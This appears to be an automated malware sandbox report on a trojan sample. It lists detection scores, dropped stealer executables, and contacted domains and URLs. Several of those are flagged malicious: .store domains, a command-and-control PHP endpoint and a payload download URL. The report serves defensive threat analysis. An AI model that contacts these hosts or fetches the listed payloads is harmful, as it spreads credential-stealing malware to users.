Source	Detection	Scanner	Label	Link
file.exe	53%	Virustotal		Browse
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	100%	Avira	HEUR/AGEN.1323674
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	100%	Avira	HEUR/AGEN.1323674
C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002767001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	16%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	16%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002767001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
http://www.certum.pl/CPS0	0%	URL Reputation	safe
https://content-signature-2.cdn.mozilla.net/	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.0/	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.186.142	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.97.3	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
56.163.245.4.in-addr.arpa	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://138.2.92.67:443	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://167.235.70.96:8080	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://20.78.55.47:8080	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001F.00000002.2954007485.000001B32C5D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://107.161.20.142:8080	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://5.196.181.135:443	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.leboncoin.fr/	firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeex	70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php/f	e90585a72a.exe, 00000011.00000002.2707046066.0000000001275000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ccsca2021.ocsp-certum.com05	skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2(browser	firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 0000001F.00000002.3146987658.000001B344294000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B344305000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.certum.pl/CPS0	skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 0000001F.00000002.3017681976.000001B33BF09000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://129.151.109.160:8080	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpa-7368302a1ad4	e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/	firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://209.38.221.184:8080	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.widevine.com/	firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 0000001F.00000002.2960711583.000001B337D5F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apibV7RydFqE=	file.exe, 00000000.00000003.1771931755.0000000000A57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771956750.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771662528.0000000000A56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://159.203.174.113:8090	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339474000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3076455543.000001B33E5E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3031423613.000001B33C5E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B3448FA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001F.00000002.3018495094.000001B33C0F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.000000000286A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.159.4.50:8080	InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	70bf1463df.exe, 00000010.00000003.2790995817.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		unknown
